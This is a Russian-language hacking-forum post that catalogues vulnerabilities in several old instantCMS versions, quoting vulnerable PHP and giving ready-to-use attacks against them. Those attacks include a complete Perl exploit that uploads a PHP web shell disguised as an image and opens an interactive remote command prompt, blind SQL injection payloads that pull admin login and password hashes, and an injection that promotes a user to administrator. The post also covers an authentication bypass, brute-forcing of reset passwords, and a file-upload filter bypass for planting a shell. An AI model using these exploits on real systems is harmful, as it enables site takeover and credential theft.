Prev Предыдущее сообщение   Следующее сообщение Next
Старый 13.07.2010, 14:09   #1
The matrix
 
Аватар для The matrix
 
Регистрация: 05.07.2010
Сообщений: 39
Репутация: 46
По умолчанию Обзор уязвимостей instantCMS

свои старые и новые находки перенесу, будет полезно.
Баги в версии<=== v 1.5.1
LFI
Need: mq=off

index.php
PHP код:
$inCore->proceedBody(); 
/core/cms.php
PHP код:
public function proceedBody(){
        
$inPage         cmsPage::getInstance();
        
$menuid         $this->menuId();
        
$is_component   false;
        
ob_start();
        if (isset(
$_REQUEST['view'])) { $component htmlentities($_REQUEST['view'], ENT_QUOTES); }
        if (isset(
$component)){
            
//CHECK COMPONENT NAME (типа фильтр)
            
if (strstr($component' ') ||
                
strstr($component'\'') ||
                
strstr($component'"') ||
                
strstr($component'&') ||
                
strstr($component'#') ||
                
strstr($component'*') ||
                
strstr($component'>') ||
                
strstr($component'<')    )
            { die(
'HACKING ATTEMPT BLOCKED'); }
            
//EXECUTE COMPONENT
            
if(file_exists('components/'.$component.'/frontend.php')){
                echo 
'<div class="component">';
                    require (
'components/'.$component.'/frontend.php');
                    eval(
$component.'();');                    
                echo 
'</div>';
                
$is_component true;
                if (
$menuid != && $inPage->back_button) { echo "<p><a href='javascript:history.go(-1)' class=\"backlink\">&laquo; Назад</a></p>"; }
            } else { echo 
'<p>Компонент не найден!</p>'; }
        }
        
$inPage->page_body ob_get_clean();

        if (
$is_component) { $inPage->page_body cmsCore::callEvent('AFTER_COMPONENT_'.mb_strtoupper($component), $inPage->page_body); }

        return 
true;
    }
.................................. 
exploit
Код:
Index.php?view=[LFI]%00
Баги в версии <=== v 1.5.3
LFI
Выкладываю свою прошлогоднюю, но интересную находку. В последней недавней версии дыра залатана
PHP код:
................
if (isset(
$_REQUEST['do'])){ $do $_REQUEST['do'];    } else { $do 'rss';         }
    if (isset(
$_REQUEST['target'])){ $target $_REQUEST['target'];    } else { die(); }
    if (isset(
$_REQUEST['item_id'])) { $item_id $_REQUEST['item_id']; } else { die(); }

    if (!isset(
$cfg['addsite'])) { $cfg['addsite'] = 1; }
    if (!isset(
$cfg['icon_on'])) { $cfg['icon_on'] = 0; }
    if (!isset(
$cfg['maxitems'])) { $cfg['maxitems'] = 50; }

////////////////////// RSS /////////////////////////////////////////////////////////////////////////////////////////////////
if ($do=='rss'){
    
$rss '';
    
    if (
file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
        
        
$inCore->includeFile('components/'.$target.'/prss.php');
        
        eval(
'rss_'.$target.'($item_id, $cfg, $rssdata);');
............. 
Need: MQ=OFF
Как юзать:
передаем item_id, чтобы не вызвать die и evil file через target.
далее можно залить "картинку" в профиле и сделать инклуд.
http://localhost/components/rssfeed/...et=evilfile%00
Для удобства написал сплоент дающий выполнение системных команд через LFI.
CODE EXECUTION via LFI

Код:
#!/usr/bin/perl
######################
# Подключим библиотеки
######################
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use HTTP::Request::Common;
use Time::HiRes qw(sleep);
#####################
# Зададим параметры
#####################
getopt("d:h:u:p");
if (!$opt_h) {
&logo(); 
exit();
}
if (!$opt_d) {
&logo(); 
exit();
}
if (!$opt_u) {
&logo(); 
exit();
}
if (!$opt_p) {
&logo(); 
exit();
}
$host=$opt_h;
$dir=$opt_d;
$user=$opt_u;
$password=$opt_p;
$page2="index.php";
$page1="core/auth.php";
$page11="login";

$ereg = '<cmd>(.*?)<\/cmd>';
$cmd="echo matrix";
$fucking_shell='<cmd><?php system($_REQUEST[cmd]); ?></cmd>';
$exit="exit";
######################
#   Лицо                    
#####################
# 

sub logo() 
{
print
"\t\t
 ###########################################################################
 ############          INSTANT CMS <=== 1.5.3 remote code execution        #
 ############             coddddeeddd by The matrix                              #
 ###########################################################################
 # usage: exploit.pl                                                       # 
 #-h [host]                                                                #
 # -d[path with site]                                                      #
 # -u [login]                                                              #
 # -p [password]                                                           #
 # exploit.pl -h http://site -d / -u evil -p qwer                          #
 #      !!!!!!!! NEEEEED MAGIC_QUOTES_GPC=OFF                              # 
 #                                                                         #
 #                                                                         # 
 ###########################################################################\n\n";
}
#############################
# аутификация                       
#############################
sub auth() {
		print"[~]login\n";
		my $browser = LWP::UserAgent->new;
		$client = LWP::UserAgent->new();
		$cookie_jar = HTTP::Cookies->new();
		$client->cookie_jar($cookie_jar);
		$op='ok';
	
		$answer=$client->post(
		"http://".$host.$dir.$page1,
				[
				'login' => $user,
				'pass' => $password,
				'Submit'=> $op
				]
);
}
sub auth2() {
		print"[~]login\n";
		my $browser = LWP::UserAgent->new;
		$client = LWP::UserAgent->new();
		$cookie_jar = HTTP::Cookies->new();
		$client->cookie_jar($cookie_jar);
		$op='ok';
	
		$answer=$client->post(
		"http://".$host.$dir.$page11,
				[
				'login' => $user,
				'pass' => $password,
				'Submit'=> $op
				]
);
}
#############################
# тест печенюшек        
#############################
#

	sub test() {
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
	if ($ans =~ /logout/){
	print"[+]login complete";
	}
else{
	print "\n[-]login failed...Ok...Time for plan B...";
	$debug=1;
}
	}


	sub test2() {
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
	if ($ans =~ /logout/){
	print"[+]login complete";
	}
else{
	print "\n[-]login failed. check you account";
	exit();
}
	}
		

#######################
# Get id
#######################
sub id {
print "\n[~] Getting id";
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
if ($ans =~ /users\/0\/(.*?)\/profile.html/) {
$id=$1;
print "\n[+] Yes, id = $id";
$page3="users/0/".$id."/addphoto.html";
}
	else {
	print "\nfailed get id";
	exit()
	}
}
#######################
# Upl0ad fucking shell
#######################

sub main {
print "\n[~]Uploading...";
$response = $client->request(POST "http://".$host.$dir.$page3,
Content_Type => 'multipart/form-data', 
Content   =>
[
upload => 1,
userid => $id,
picture =>
	[
		undef,
		"123.jpg",
		content => $fucking_shell,
		"Content-Type"	=> "image/gif"
	]
]);
$ans = $response->content;
open(F1,"> one.txt");
print (F1 "$ans");
	print "\n[~]Get some fucking image hash";
	if ($ans =~ /name="imageurl" value="(.*?)"/) {
	print "\n[+]image hash = $1";
$hash=$1;
	}
	}
########################
# CODE EXECUTION Test!
########################
sub exec {
$page4="components/rssfeed/frontend.php?item_id=1&target=../images/users/photos/$hash%00";
print "\n[~] Testing code execution";
	$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[ 
cmd => $cmd
]
	);
$ans = $response->content;
if ($ans =~ /matrix/) {
$expl0it3d=1;
print "\n[+] Target has been Exp0it3d!!!!!!!!";
}
	else
	{
		print "\n[-]sorry magic_quotes=on or cms unvulnerable";
	}
}


&logo();
&auth();
&test();
if ($debug==1) {
&auth2();
&test2();
	}
&id();
&main();
&exec();
########################
#Счастье
########################
if($expl0it3d == 1) {
while($cmd !~ /^exit$/i) {
print "\ncmd-line\#:";
$cmd=<STDIN>;
chomp $cmd;
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[ 
cmd => $cmd
]
	);
$ans = $response->content;
if ($ans =~/$ereg/si) {
print "$1";
}
else {
print "what the fuck????";
}
}
	}
// почитал статью с ][ оказывается Spyder первооткрыватель хек
sql inj
Need:mq=off
Любые Элементы $_POST в instantCMS проходят фильтрацию. Но фильтр оставляет не тронутыми:
1) \
2) "
Вследствии чего даже обычный юзер по ошибке может вызвать ошибку бд. Допустим запостив на форуме пост оставив на конце \
Рассмотрим скрипт регистрации юзеров.
/components/registration/frontend.php
PHP код:
if($inDB->rows_count('cms_users''LOWER(nickname) LIKE "'.strtolower($nickname).'"'1)){
            
$msg .= $_LANG['ERR_NICK_EXISTS'].'<br/>';

/core/classes/db.class.php
PHP код:
public function rows_count($table$where$limit=0){
    
$sql "SELECT * FROM $table WHERE $where";

    if (
$limit) { $sql .= " LIMIT ".$limit; }

    
$result $this->query($sql);
    return 
$this->num_rows($result);

Суть:Перед тем как аккаунт занесется в бд, он проверится на совпадения.
$nickname Окружена двойными кавычками, они не трогаются фильтрами поэтому.
вбиваем в поле никнейм следующую шляпу.
Код:
1" and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))=1,1,(select 1 union select 2))#
С эксплуатацией придется помучаться, так как < и > - жрет фильтр.
Баги в версии <=== v 1.6.1
множественные sql inj
Sql inj много как в insert, как в Update так и в select запросах. Рассмотрим одну из них, повкуснее, для которой нет зависимостей.
Постараюсь рассказать процесс и его суть в точности как он проходил у меня

идем в раздел блогов, новостей или статей. Выбираем произвольный блог статью или новость. Я выбрал новость. Под новостью приведена вставка модуля голосования. Тыкаем на кнопочку "Одобрить". И снифаем пакет. Получилось:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: PHPSESSID=b1d2ebf29a56a9d67ad9c792526ea4f7
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=1&opt=plus&target=content&item_id=20
POST'ом перекинули значения на /core/ajax/karma.php
вот са фак:
Сорри. Забегу вперед. С этими переменными мы будем иметь дело.
/core/ajax/karma.php
PHP код:
    if (!isset($_REQUEST['target'])) { die(2); } else { $target $_REQUEST['target']; }
    if (!isset(
$_REQUEST['item_id'])) { die(3); } else { $item_id $_REQUEST['item_id']; }    
    if (!isset(
$_REQUEST['opt'])) { die(4); } else { $opt $_REQUEST['opt']; } 
теперь функции
PHP код:
if (!$inUser->update()) { $inCore->halt(); }
................................
    
$inCore->loadLib('karma');
    
    if (
$opt=='plus'){
        
cmsSubmitKarma($target$item_id10);
    }
    if (
$opt=='minus'){
        
cmsSubmitKarma($target$item_id, -1);
    }

    
$postkarma cmsKarma($target$item_id);
........................... 
Дрючим скрипты и смотрим функции loadLib() и cmsKarma();
/core/cms.php
PHP код:
    public function loadLib($lib){
        
$libfile PATH.'/core/lib_'.$lib.'.php';
        if (
file_exists($libfile)){
            include_once(
$libfile);
            return 
true;
        } 
понятно. Значит
$inCore->loadLib('karma');
подгрузит нам:
/core/lib_karma.php
Значит далее.
/core/lib_karma.php
PHP код:
function cmsKarma($target$item_id){ //returns array with total votes and total points of karma
    
$inDB cmsDatabase::getInstance();
    
$sql "SELECT *, SUM(points) as points, COUNT(id) as votes
            FROM cms_ratings 
            WHERE item_id = 
$item_id AND target='$target'
            GROUP BY item_id"
;
    
$result $inDB->query($sql);
    if (
$inDB->num_rows($result)){
        
$data $inDB->fetch_assoc($result);
        
$data['points'] = round($data['points'], 2);
    } else {
        
$data['points'] = 0;
        
$data['votes'] = 0;
    }    
    return 
$data;

Вот и запрос. Судя по karma.php и lib_karma.php $item_id и $target остаются нетронутыми. Инжектить мы будем $item_id тк в запросе он не обрамлен кавычками, а значит мы обойдем MQ =)
Вернемся к нашему отснифаному пакету. И модифицируем его так:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=&opt=plus&target=conten
Это логическая единица.
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=&opt=plus&target=conten
Это логический 0.
По причине фильтра POST данных переопределяем item_id через куки.
В том же месте есть еще несколько подобных скулей с участием этих же переменных.
lib.karma.php
PHP код:
function cmsSubmitKarma($target$item_id$points){
    
$inUser cmsUser::getInstance();
    
$inDB   cmsDatabase::getInstance();
    
$id     $inUser->id;
    
$ip     $_SERVER['REMOTE_ADDR'];
    if(!
cmsAlreadyKarmed($target$item_id$id)){
        
$sql "INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id$points, '$ip', '$target', $id, NOW())";
        
$inDB->query($sql);
    }
    return 
true;

вышеупомянутая SubmitKarma
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())
Можно было бы составить evil запрос и вывести значение прямо в points, после чего его можно было наблюдать на странице новости без всяких blind, но структура таблицы нам не позволяет этого сделать поле points имеет type int(11). Поэтому:
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
логический 0
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
Логическая единица.
Переустановка пароля админа и угадывание его
Для эксплуатации нужно:
Админское мыло(по умолчанию отображается в профиле)
много времени.
В чем суть:
/components/registration/frontend.php
PHP код:
                $sql "SELECT * FROM cms_users WHERE email = '$email' LIMIT 1";
                
$result $inDB->query($sql) ;

                if (
$inDB->num_rows($result)>0){
                    
$usr $inDB->fetch_assoc($result);
        

                    
$newpassword substr(md5(microtime()), 06);
                    
$inDB->query("UPDATE cms_users SET password = '".md5($newpassword)."' WHERE id = ".$usr['id']) ;


                    
$mail_message $_LANG['HELLO'].', ' $usr['nickname'] . '!'"\n\n";
            
$mail_message $_LANG['HELLO'].', ' $usr['nickname'] . '!'"\n\n";    
                    
$mail_message .= $_LANG['REMINDER_TEXT'].' "'.$inConf->sitename.'".' "\n\n";
                    
$mail_message .= $_LANG['OUR_PASS_IS_MD5'] . "\n";
                    
$mail_message .= $_LANG['OUR_PASS_IS_MD5_TEXT'] . "\n\n";
                    
$mail_message .= '########## '.$_LANG['YOUR_LOGIN'].': ' .$usr['login']. "\n\n";
                    
$mail_message .= '########## '.$_LANG['YOUR_NEW_PASS'].': ' .$newpassword "\n\n";
                    
$mail_message .= $_LANG['YOU_CAN_CHANGE_PASS']."\n";
                    
$mail_message .= $_LANG['IN_CONFIG_PROFILE'].': 'cmsUser::getProfileURL($usr['login']) . "\n\n";
                    
$mail_message .= $_LANG['SIGNATURE'].', '$inConf->sitename ' ('.HOST.').' "\n";
                    
$mail_message .= date('d-m-Y (H:i)');   
                    
$inCore->mailText($email$inConf->sitename.' - '.$_LANG['REMINDER_PASS'], $mail_message); 
Этот скрипт восстанавливает пароль рассеяным юзерам. Но как он это делает.
1) Проверяет есть ли мыльник в бд.
2) Скрипт не церемонясь присваивает значение паролю равному первым шести символам хеша от значения, которое генерирует функция microtime().
Код:
Функция microtime() возвращает текущую метку времени с микросекундами. Эта функция
 доступна только
 на операционных системах, в которых есть системная функция gettimeofday(). 
При вызове без необязательного параметра, возвращается строка в формате "msec sec",
где sec - это количество секунд, прошедших с начала Эпохи
 Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), а msec - это дробная часть.
она генерирует что-то на подобии.
0.xxxxxx00 [1273589840]
где xxxxxx-доли секунды
то что в квадратных скобках-это количество секунд, прошедших с начала Эпохи Unix.
Как юзать уязвимость:
Отсылаем запрос на восстановление пароля и сниффаем пакет. смотрим в ответе на запрос дату.
Там что-то вроде. Показаны секунды, они нам нужны, чтобы брутить меньше.
Tue, 11 May 2010 20:39:23 GMT
узнаем на локальной машине сколько прошло с момента 1970, 00:00:00 GMT.
2) А вот микросекунды придется брутить, их мы никак не узнаем. Список
создаем вида
0.xxxxxx00 [время в секундах прошедшее от момента "Unix" до момента отправки запроса на восстановление пароля]
пример: 0.30001200 1273589840
всесто xxxxxx вставляем все возможные комбинации из цифр, их 1 млн. Затем преобразуем их к виду.
substr(md5(значение), 0, 6)
возвращаем мд5 каждого получившегося значения и отрезаем от хеша символы после шестого знака.
Пример: 1a512b
Получился словарь 1млн слов. Один из этих слов-сгенерированный пассворд. Брутим веб форму.
У меня на дедике многопоточный брут дает до 11 ппс.
1000000/11=90.909 - то есть в худшем случае пароль мы узнаем через сутки. Геморно, а че поделать. На количество попыток залогиниться ограничений не стоит в форме авторизации.
P.S. Оказывается секунда-это много.
Этот баг не яркий пример приятной эксплуатации. Но все же он ведет к успеху. Т.К. В сгенерированном большом словаре 100% содержится правильный пассворд. И если ничего не остается, как вариант вполне можно юзать.

Нарушение криптостойкости паролей
еще этот баг открывает новую опасность. Сгенерированный пароль сразу попадает в бд. Что это дает? Допустим стянул ты пароль админа через sql inj. А он не расшифровывается, пароль трудный. Что мы делаем:
1) Переустанавливаем пароль той же фичей. Напоминаю пароль состоит из 6 символов, которые являются цифрами или буквами.
2) Стягиваем через sql inj md5 и расшифровываем уже сгенерированный пароль. (думаю пароль из 6 символов [[a-f] и [0-9]] расшифровать не трудно)
Баги в версии <=== v 1.6.2
Перевод простого юзера в админы

Как видно из названия, мы можем из простого юзера попасть в админа.
Need MQ=off
редактирование профиля:
/users/frontend.php
PHP код:

if ($do=='editprofile'){

    
$opt $inCore->request('opt''str''edit');

    if (
usrCheckAuth()){
    
        if (
$inUser->id==$id || $inCore->userIsAdmin($inUser->id)){
        
                if (
$opt == 'save'){
                    
$errors false;
                    
                    
$nickname $inCore->request('nickname''str');
                    if (
strlen($nickname)<2) { cmsCore::addSessionMessage($_LANG['SHORT_NICKNAME'], 'error'); $errors true; }

                    
$gender $inCore->request('gender''str');
                    
                    
$city $inCore->request('city''str');
                    if (
strlen($city)>20) { cmsCore::addSessionMessage($_LANG['LONG_CITY_NAME'], 'error'); $errors true; }

                    
$email $inCore->request('email''str');
                    if (!
strpos($email'@') || !strpos($email'.')) { cmsCore::addSessionMessage($_LANG['REALY_ADRESS_EMAIL'], 'error'); $errors true; }
                    
                    
$showmail       $inCore->request('showmail''int');
                    
$email_newmsg   $inCore->request('email_newmsg''int');
                    
                    
$showbirth      $inCore->request('showbirth''int');
                    
$description    $inCore->request('description''str');
                    
                    
$birthdate      = (int)$_REQUEST['birthdate']['year'].'-'.(int)$_REQUEST['birthdate']['month'].'-'.(int)$_REQUEST['birthdate']['day'];
                    
$signature      $inCore->request('signature''str');

                    
$allow_who      $inCore->request('allow_who''str');
                    
                    
$icq            $inCore->request('icq''str');
                    
$showicq        $inCore->request('showicq''int');
                    
                    
$cm_subscribe   $inCore->request('cm_subscribe''str');
                    
                    if (
$inCore->inRequest('field')){
                        foreach(
$_POST['field'] as $k=>$val){
                            
$_POST['field'][$k] = str_replace('\"''&quot;'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace('"''&quot;'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace("\'"'’'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace("'"'’'$_POST['field'][$k]);
                            
$_POST['field'][$k] = strip_tags($_POST['field'][$k]);
                        }                    
                        
$formsdata $inCore->arrayToYaml($_POST['field']);
                        
$forms_sql ", formsdata='$formsdata'";
                    } else {
                        
$forms_sql '';
                    }
                    
                    if (!
$errors){
                       
                        
$sql "UPDATE cms_user_profiles 
                                 SET city = '
$city',
                                    description = '
$description',
                                    showmail='
$showmail',
                                    showbirth='
$showbirth',
                                    showicq='
$showicq',
                                    allow_who='
$allow_who',
                                    signature='
$signature',
                                    gender='
$gender$forms_sql,
                                    email_newmsg='
$email_newmsg',
                                    cm_subscribe='
$cm_subscribe'
                                WHERE user_id = 
$id";
                        
$inDB->query($sql) ;

                        
$sql "UPDATE cms_users 
                                SET birthdate='
$birthdate',
                                    email='
$email',
                                    icq='
$icq',
                                    nickname='
$nickname'
                                WHERE id = 
$id";
                        
$inDB->query($sql) ;

                        
cmsCore::addSessionMessage($_LANG['PROFILE_SAVED'], 'info');

                    }

                    
$inCore->redirect(cmsUser::getProfileURL($inUser->login));
                    
                } 
Код:
						$sql = "UPDATE cms_users 
								SET birthdate='$birthdate',
									email='$email',
									icq='$icq',
									nickname='$nickname'
								WHERE id = $id";
						$inDB->query($sql) ;
Этот запрос апдейтит cms_users. (Через форму для апдейта). изменяет ICQ, email, nickname.
В этой таблице есть столбец отвечающий за группу пользователя: group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ.
Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные.
Юзать так:
В поле ваше имя вбиваем: group_id=2 #
В поле ICQ Вбиваем: 333s \
соответственно $icq=333s \ ; $nickname=group_id=2 #
Давайте посмотрим, что у нас получилось.
Код:
						$sql = "UPDATE cms_users 
								SET birthdate='$birthdate',
									email='$email',
									icq='333s \',
									nickname=', group_id=2 #'
								WHERE id = $id";
После выполнения наш юзер, которому мы меняли данные примет group_id=2 и чудесным образом превратится в админа. На странице появляются ссылки в админку, можно залезать)
Auth0r1zat1oN byPass

Need: mq=off
Не буду нагромождать лишним кодом.
Запрос для авторизации следующий:

PHP код:
$sql    "SELECT * 
                           FROM cms_users
                           WHERE 
$where_login AND password = md5('$passw') AND is_deleted = 0 AND is_locked = 0"
Что нельзя использовать
' (Кавычка) [Реплейсится в `(апостроф)]
легко понять, что этого мало.
Как юзать:

В поле логин пишем: matrix\
в поле пароль пишем: or id=1#
У нас получится:
Код:
SELECT * 
                           FROM cms_users
                           WHERE login = 'matrix\' AND password = md5('or id=1#') AND is_deleted = 0 AND is_locked = 0
И авторизация успешно пройдена.
Баги в версии <=== v 1.6.2(15 may 2010 patched)
Последняя на данный момент.
sql injection (insert)

MQ=off
/components/frontend.php
PHP код:
 "INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
                                VALUES ('
$id', '".$inUser->id."', '$title', '$description', '', NOW(), 0)"
Данные обрабатываются по тому же принципу, что и в заметке выше.
$title $description пропускают \
Как это заюзать
создаем на форуме топик
Название:matr1x\
Описание: , (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#
Мы получаем
Код:
"INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
								VALUES ('$id', '".$inUser->id."', 'matr1x\', ', (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#', '', NOW(), 0)";
закрыли title кавычкой от description и вышли в запрос после чего проинжектировали -)
Теперь идем в список топиков и наблюдаем свой топик в описании которого что-то на подобии
Код:
admin:5f4dcc3b5aa765d61d8327deb882cf99
File Upload
Совсем недавно еще нашел опасный баг в новой версии.
Зависимостей нет
Тащим свой зад на форму аплоада файлов
Код:
http://localhost/users/ваш id/addfile.html
componennts/users/frontend.php
PHP код:
foreach ($_FILES as $key => $data_array) {
                    
$error $data_array['error'];
                    if (
$error == UPLOAD_ERR_OK) {
                        @
mkdir(PATH.'/upload/userfiles/'.$id);
                    
                        
$tmp_name   $data_array["tmp_name"];
                        
$name       $data_array["name"];
                        
$size       $data_array["size"];
                        
$size_mb    += round(($size/1024)/10242);
                        
                        if (
$size_mb <= $free_mb){
                            if(!
strstr($name'.php') && !strstr($name'.asp') && !strstr($name'.aspx') && !strstr($name'.js') && !strstr($name'.html') && !strstr($name'.phtml')){
                                if (
move_uploaded_file($tmp_namePATH."/upload/userfiles/$id/$name")){ 
Функция strstr() регистрозависима.
То есть зальем файл file.pHp, и он пройдет проверку. После заливки, cms добровольно отдаст ссылку на ваш шелл.

Последний раз редактировалось The matrix; 08.12.2011 в 20:10.. Причина: Убрал слова, которые могут обидеть разработчика
The matrix вне форума   Ответить с цитированием
 

Метки
instantcms

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot